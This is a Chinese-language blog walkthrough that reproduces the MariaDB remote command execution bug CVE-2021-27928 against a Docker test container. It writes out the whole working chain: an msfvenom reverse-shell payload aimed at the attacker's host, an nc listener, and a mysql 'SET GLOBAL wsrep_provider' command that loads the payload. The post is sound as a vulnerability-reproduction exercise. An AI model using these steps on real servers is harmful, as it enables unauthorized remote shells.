CVE-2021-27928漏洞复现
CVE-2021-27928漏洞复现漏洞简介:它是一个MariaDB的远程命令执行漏洞,存在于10.2.37之前的10.2版本,10.3.28之前的10.3版本,10.4.18之前的10.4版本以及10.5.9之前的10.5版本。复现环境攻击机:Ubuntu 20.04.2 LTS目标机:mariadb/server:10.3.13docker容器复现准备我们需要在我们的攻击机上安装 metasp
CVE-2021-27928漏洞复现
漏洞简介:它是一个MariaDB的远程命令执行漏洞,存在于10.2.37之前的10.2版本,10.3.28之前的10.3版本,10.4.18之前的10.4版本以及10.5.9之前的10.5版本。
复现环境
- 攻击机:Ubuntu 20.04.2 LTS
- 目标机:mariadb/server:10.3.13 docker容器
复现准备
-
我们需要在我们的攻击机上安装 metasploit-framework 框架。安装步骤见Nightly Installers · rapid7/metasploit-framework Wiki (github.com)。
-
安装成功后,我们利用这样一条语句生成反向Shell有效负载。
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so
-
一定要注意的是,这里的ip是攻击机自己的ip,而不是目标机的ip。port这里随便取,我取了4444。正常的运行结果如下图。
-
现在攻击机的准备工作已经做完了。我们现在需要准备目标机的环境。由于现在大多的镜像源中apt里已经不支持旧版本的mariadb,而去官网手动安装二进制文件又十分复杂。我这里选用了mariadb/server:10.3.13的docker镜像,当然你也可以选择mariadb/server:10.2.22,只要保证该版本的mariadb收到该漏洞影响即可。这里挂一下它的dockerhub网址mariadb/server (docker.com)。大家可以自行选取。
-
最后我的Dockerfile是这样的,把攻击载荷放到了docker容器中的
/tmp
文件夹FROM mariadb/server:10.3.13 LABEL Author="wuuconix <wuuconix@gmail.com>" LABEL Blog="https://blog.csdn.net/Cypher_X" COPY ./files /tmp/
那两个sh脚本是我用来快速构建和更新docker容器写的sh脚本。这样我们就不用每次输入一大串docker命令了,而只需要输入
zsh build.sh
,十分方便,这里放一下代码供大家参考。#build.sh docker build -t maria . && \ docker run -d --name maria -e MARIADB_ROOT_PASSWORD=root maria && \ docker exec -it maria bash # update.sh docker stop maria \ && docker rm maria \ && docker rmi maria \ && zsh build.sh
从build.sh的内容我们也可以看到maria/server 镜像的使用方法,需要加一个
MARIADB_ROOT_PASSWORD
的环境变量,来初始root用户的密码,我这里设置的密码是root。这些都可以在dockerhub上的overview中找到。
复现过程
-
开启容器
-
主机开启监听
nc -lvnp 4444
-
主机执行有效shell
mysql -u root -p -h 172.17.0.2 -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'
注意这里的172.17.0.2是目标机也就是docker容器的ip。
输入后会报错,但是不要慌,我们的监听窗口这时应该已经连上了。
输入
whoami
来看看当前用户。成功。
经验总结
- 当输入
apt-cache madison mariadb-server
没有想要的版本时,可以去dockerhub查找软件历史版本的镜像。
参考链接
MariaDB数据库SUPER特权漏洞CVE-2021-27928-Linux实验室 (wanyunshuju.com)
更多推荐
所有评论(0)